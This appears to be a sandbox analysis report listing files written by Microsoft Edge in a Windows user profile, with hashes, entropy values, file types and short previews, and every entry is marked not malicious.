Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13366456633404425","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":914,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":70,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"li

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\2a6265ff-481c-4a64-affb-51bbe300e5c4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\32ff40f5-b53c-41be-9a98-711a012fce6c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\7ad5a6b0-612e-4290-bfb1-43ba263be7a6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	26890
Entropy (8bit):	5.5762319542383345
Encrypted:	false
SSDEEP:	768:wcM2GJWfXW5wWYf4828F1+UoAYDCx9Tuqh0VfUC9xbog/OVPHyC4ICfMIrwX/pFK:wHNJSXWaWYfP2u1jaayC4kZHtk
MD5:	ECE7E8EF2EE38F906E2887C76FB328F5
SHA1:	A0B6300A012BAEAEB453246C63F9CEBF1CC51770
SHA-256:	E704EB3A699FEF6391831E64FDBB10DF31B6AA4B75343A8DFA16EC28E44CD95A
SHA-512:	46EC03FE8610498920F4BE4C9890F4C2E6CDB3506C48C15DD2C70C8AFA134276583C5CF0B30374F331E56EAE954D5932003734238008519D789B140C4B11D49C
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13366456631688388","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13366456631688388","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\7c52b885-f356-4cec-a98a-cca12a4a3478.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25186
Entropy (8bit):	5.57087378239835
Encrypted:	false
SSDEEP:	768:wcM2GJWfXW5wWYf4828F1+UoAYDCx9Tuqh0VfUC9xbog/OVPI4ICfMIrwXgpFtu6:wHNJSXWaWYfP2u1jaD4kZat5
MD5:	4A5B4F75EA6C2AA85693FD3E1902570B
SHA1:	921DC3F228F4D77D01AF2ACFB660DB8D886D2153
SHA-256:	E1417F1AA427F8916FDE4603A7768B82B9253A04364E7BB49161D162DD5D8977
SHA-512:	DF342D2888507384E60144D5C67EF870FF1B5B87FC8A505D110F05741407DE46A1556195405C4D8AB496E2ACA56190757A35968E1AB0F81B3B46AD23879967B3
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13366456631688388","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13366456631688388","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\9fdb74a5-3bcb-459f-b720-c846b01a9c6a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24774
Entropy (8bit):	5.566777431325258
Encrypted:	false
SSDEEP:	768:wcM2GJWWXW5wWYf4228F1+UoAYDCx9Tuqh0VfUC9xbog/OVPc4ICfMIrwXZUwpFf:wHNJpXWaWYfJ2u1ja14kZvth
MD5:	910BAF42B8FF306F226DB36DEAEBB080
SHA1:	4B164A622758A871351617532E6E5192D646E73B
SHA-256:	966683AEB95395FA69691CE76FBEC6C9783EB41149503B3A322983D1ADD8D06B
SHA-512:	B36D88274FF222B7FB60543F4E7212B0E5E026F7D5129203173EC429C5CD66F5EC1D81318A665626C0260AEF361AE5AB71B97A7B467BE775EE322BBA94C5C324
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13366456631688388","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13366456631688388","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	481366
Entropy (8bit):	5.396251895120076
Encrypted:	false
SSDEEP:	3072:IbS15tRdAYDI1JcYxI57aDZ7aJOGiMleOebNG/dFd2X13Wr:IbcXAYDI1JcY+5WZ0OG1yJG/dKWr
MD5:	A1B6961712F262882F756869418AD3F8
SHA1:	D280DAB6170B37899CA1500B88249A011AB1D65E
SHA-256:	129326ED2E6A25E2C267146C9298375DAC41C3C2FCA32BD32535032788DB8E82
SHA-512:	679D55024107804EF555436E46A173DB9F3653C96A7795D87D0C7C09EC36CB58790178CD6D97E386E25D5420455D104DD4D629DE0F808B14ADB9A4BF4E02F5A4
Malicious:	false
Preview:	...m.................DB_VERSION.1.f.+.................QUERY_TIMESTAMP:arbitration_priority_list4...13340960289901340.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.117796068132896
Encrypted:	false
SSDEEP:	6:BMAf44ldtDM+q2PN723oH+Tcwt9Eh1tIFUt84MAf44lqgZmw+4MAf44vDMVkwONj:Nf44ztDM+vVaYeb9Eh16FUt8wf44gg/l
MD5:	C13ED9E4B9232F6D68D4E0CA6E7B5B87
SHA1:	B916B0ED6A406547C3D6F25DEB555D5B17C859F3
SHA-256:	11F5CA15F8CF00F5E40F45C6844E7E4CB381D889E589E765249675F2127ED786
SHA-512:	B3E9BFED1853364F6B7583C7F714AC580E69661FA0C4EFC75C17E26B4EDC33AC77CC6BDB60238DA2C84200DF5EF273990779B66AF17F14BBA2F08F742F93A5E2
Malicious:	false
Preview:	2024/07/26-04:40:17.914 1efc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/07/26-04:40:17.915 1efc Recovering log #3.2024/07/26-04:40:17.927 1efc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.117796068132896
Encrypted:	false
SSDEEP:	6:BMAf44ldtDM+q2PN723oH+Tcwt9Eh1tIFUt84MAf44lqgZmw+4MAf44vDMVkwONj:Nf44ztDM+vVaYeb9Eh16FUt8wf44gg/l
MD5:	C13ED9E4B9232F6D68D4E0CA6E7B5B87
SHA1:	B916B0ED6A406547C3D6F25DEB555D5B17C859F3
SHA-256:	11F5CA15F8CF00F5E40F45C6844E7E4CB381D889E589E765249675F2127ED786
SHA-512:	B3E9BFED1853364F6B7583C7F714AC580E69661FA0C4EFC75C17E26B4EDC33AC77CC6BDB60238DA2C84200DF5EF273990779B66AF17F14BBA2F08F742F93A5E2
Malicious:	false
Preview:	2024/07/26-04:40:17.914 1efc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/07/26-04:40:17.915 1efc Recovering log #3.2024/07/26-04:40:17.927 1efc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	854587
Entropy (8bit):	6.011119224202052
Encrypted:	false
SSDEEP:	12288:8e/LHQ7MR98fWrOCgTW6nKmhuEZjjayCalEJ1uUnMHj0RyytqzwRJqJ8T9b:/HQILuWrXSbKuNZ/amEnuoTN3O8h
MD5:	D89F43EC653BCB9B6ADFBFFBA807024B
SHA1:	39524AA46ECCCD2A390CC5CE5EA1D38CE6913BD0
SHA-256:	E247035347AE85D1F8EA4517795FB6DDF96D9664009BD2F00AF064AE3B0B6E20
SHA-512:	69492B58DB4C3329D8068979829B84EEAEC6DD5DF939AF770E356702251667B59739C85CE941C6FC162CCB830021472604E1AF322732C46956CDF2AA7E60CAAD
Malicious:	false
Preview:	...m.................DB_VERSION.1..N).................BLOOM_FILTER:..4{"numberOfHashFunctions":8,"shiftBase":7,"bloomFilterArraySize":5075849,"primeBases":[5381,5381,5381,5381],"supportedDomains":"xmdQDC+v7rL0SqbYRTLiDU2hmBNul4Cpgslr4CHeiAQEmzqbPw/NYuCHYCjpz2yaz50qgNUAFGhbYIg0Qw7WqSdN2FFsbSodtKb2xRKESMr+1rh2Sv97YNU/AsLETasUkRtOJpYp6Wpx/+CPNUSp1rx6dUmQTRC9+9IJgWbUIiRoTbPMyse76DaN25FEk7W+Hk1m3yH4Y3iIeiRxgUJU6DtqTQ3QMxwy4TY+Rr7Xa7ltG4EiOcAmaX8uKJfn+FBJNKLtCRORSg7Y4467LoXiZ9yshfBCKPLhHhYpiDNaLuidZwQhgd8LpPiDsEB/O7UUcvAwC6QFcwK9FRgPnWDxzC1fudl90b8xLirCwkxbkQD4vek9/xNn/PUFGyLBDDc8eK5k529mPTPm7qSPswV+2G0qFTeeLE+9mrp2zz3ZKlBdc3B1XBa0Ui5DkJmC9zpqZ2mdP43x9Rz2zQWxEqESqswV3YikXttibGwTv39vCOJriWkoONjE8TKd/+22vlN6sfPtnCDCFDF4xSuat1uYppjT78fSO66w5lCXNnr1mkEIAFPwNCWkSNT+DabRIK+MhwT8w6gwU9QGnRHbqjO7oHrlADjy01DSLIOdJiR3AxwUahGJw2elmPzzWIjQ7wBsDHW/QO99WlIWGALGNzOSEBY5iZHubhuLN8N/2seLXvgtoVGrOWEDAVG0G4zRUcFbfXehdhMjd1n4JFTswxrehJL+pgBpKpm+Fys7yNX8PCgwymuZB0soVQ9DEB5NxX++ffal8R3U3uSRUC1h4ZNFBJx1KpS08jokS1h

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\000005.ldb

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	854513
Entropy (8bit):	6.009922036312578
Encrypted:	false
SSDEEP:	12288:lB/FH17K898fDrO84TW6nXmhZEZjjTyCvlEW1ujnfHj8SyytqSYRJqyVTmp:NH1OguDrvaNXuaZ/T7EAuDfN2HVK
MD5:	B4A12D4C69223DC41D3B7803EFBA2D4A
SHA1:	CB902E18064A9DDE28D20350910C6397E9F8BB55
SHA-256:	FE9E5B2E2778FD77E79F90C0B95B10F4B758F87AB05A0C97A96E9A5EA664E14A
SHA-512:	3225F0234BF9780D549108E65C8A1B2D7D467C01093348053B9E06D0B86542A08C17EF1DE698147222DFEA5373E4827D83768059B90921A5CB599C122EC46F1B
Malicious:	false
Preview:	....4BLOOM_FILTER:........{"numberOfHashFunctions":8,"shiftBase":7,"bloomFilterArraySize":5075849,"primeBases":[5381,5381,5381,5381],"supportedDomains":"xmdQDC+v7rL0SqbYRTLiDU2hmBNul4Cpgslr4CHeiAQEmzqbPw/NYuCHYCjpz2yaz50qgNUAFGhbYIg0Qw7WqSdN2FFsbSodtKb2xRKESMr+1rh2Sv97YNU/AsLETasUkRtOJpYp6Wpx/+CPNUSp1rx6dUmQTRC9+9IJgWbUIiRoTbPMyse76DaN25FEk7W+Hk1m3yH4Y3iIeiRxgUJU6DtqTQ3QMxwy4TY+Rr7Xa7ltG4EiOcAmaX8uKJfn+FBJNKLtCRORSg7Y4467LoXiZ9yshfBCKPLhHhYpiDNaLuidZwQhgd8LpPiDsEB/O7UUcvAwC6QFcwK9FRgPnWDxzC1fudl90b8xLirCwkxbkQD4vek9/xNn/PUFGyLBDDc8eK5k529mPTPm7qSPswV+2G0qFTeeLE+9mrp2zz3ZKlBdc3B1XBa0Ui5DkJmC9zpqZ2mdP43x9Rz2zQWxEqESqswV3YikXttibGwTv39vCOJriWkoONjE8TKd/+22vlN6sfPtnCDCFDF4xSuat1uYppjT78fSO66w5lCXNnr1mkEIAFPwNCWkSNT+DabRIK+MhwT8w6gwU9QGnRHbqjO7oHrlADjy01DSLIOdJiR3AxwUahGJw2elmPzzWIjQ7wBsDHW/QO99WlIWGALGNzOSEBY5iZHubhuLN8N/2seLXvgtoVGrOWEDAVG0G4zRUcFbfXehdhMjd1n4JFTswxrehJL+pgBpKpm+Fys7yNX8PCgwymuZB0soVQ9DEB5NxX++ffal8R3U3uSRUC1h4ZNFBJx1KpS08jokS1hm6TTEEmXB2D9nf+Ng4y9lDv79v44X6LUFdYgHvhTk7Vz

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	392512
Entropy (8bit):	5.408324726215787
Encrypted:	false
SSDEEP:	6144:hz/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPZ:hkdMyq49tEndBuHltBfdK5WNbsVEziP2
MD5:	FD9F1CD3B4D891B8EB2C2BD31808ACC0
SHA1:	05ED19217DED1E068B98B632A94A71C3546B6A5B
SHA-256:	95A74504D06A5169324081C59F1398E0E9C17F3330444B1378917770A39732DC
SHA-512:	0AA57D501AFFAAF2FDE982F0CC2C808B70B356EE274DC9A26272D63EDE2360ECA75776DD8C6B0C58771EE4D0A2518FE70292A986A3D7563CE39DB6499358FF91
Malicious:	false
Preview:	...m.................DB_VERSION.1r=/.q...............&QUERY_TIMESTAMP:domains_config_gz2...13366456646127711..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.75/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":75},"hash":"EwG2gkfquexLj6u3yjHyiL4YQwdU318k1Hub+1rSDMI=","size":391864}]Q"j%`~...............ASSET_VERSION:domains_config_gz.2.8.75..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	315
Entropy (8bit):	5.153851948189742
Encrypted:	false
SSDEEP:	6:BMAfWSfX7q1N723oH+Tcwtk2WwnvB2KLlrMAfWSfXFSDM+q2PN723oH+Tcwtk2WG:NfWSjaaYebkxwnvFL1fWS8M+vVaYebk8
MD5:	687070C504B10233BA4179C2925EB6F2
SHA1:	311FA7D52E35E70DAD4CFF483EDFF8FD82BE4D4F
SHA-256:	A46FF5662D88515A0D7BADA0ED8941B9F7A11FE5CE0EA2EA66525DFFCF5BF7E0
SHA-512:	8D80B2C2C1CB70686C93B21A4B1A579793F2C65F2358C0609710405FA219B6F47E6DFD3B26E0DB0BD2AF258746AEE157F24AED599893E4321A11E5A52AFB9033
Malicious:	false
Preview:	2024/07/26-04:37:24.906 21fc Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/07/26-04:37:25.304 21fc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	374811
Entropy (8bit):	5.396163140009736
Encrypted:	false
SSDEEP:	6144:dWLgimLVvUrsc6rRA81b/18jyJNjfvrfM6RY:cLBgAg1zfvQ
MD5:	379A6F222EC8B5EFE8517382D6BAEA92
SHA1:	FB3283257087364D9BFA140769827A42DBC31D8B
SHA-256:	357BEB019D61817919D1A0B3C43F088468A307A6C87FB0BD9A3099D047EDF15A
SHA-512:	9466BFE9AF1E931AB3F8FE7EF06FF6023AEA20807CD01E8856BD462974B7148BCE9F2C12F5DB9D6DE04C8B6B8A1790ABC6FB01F9FB6EC002A099C1DCC415D7F9
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
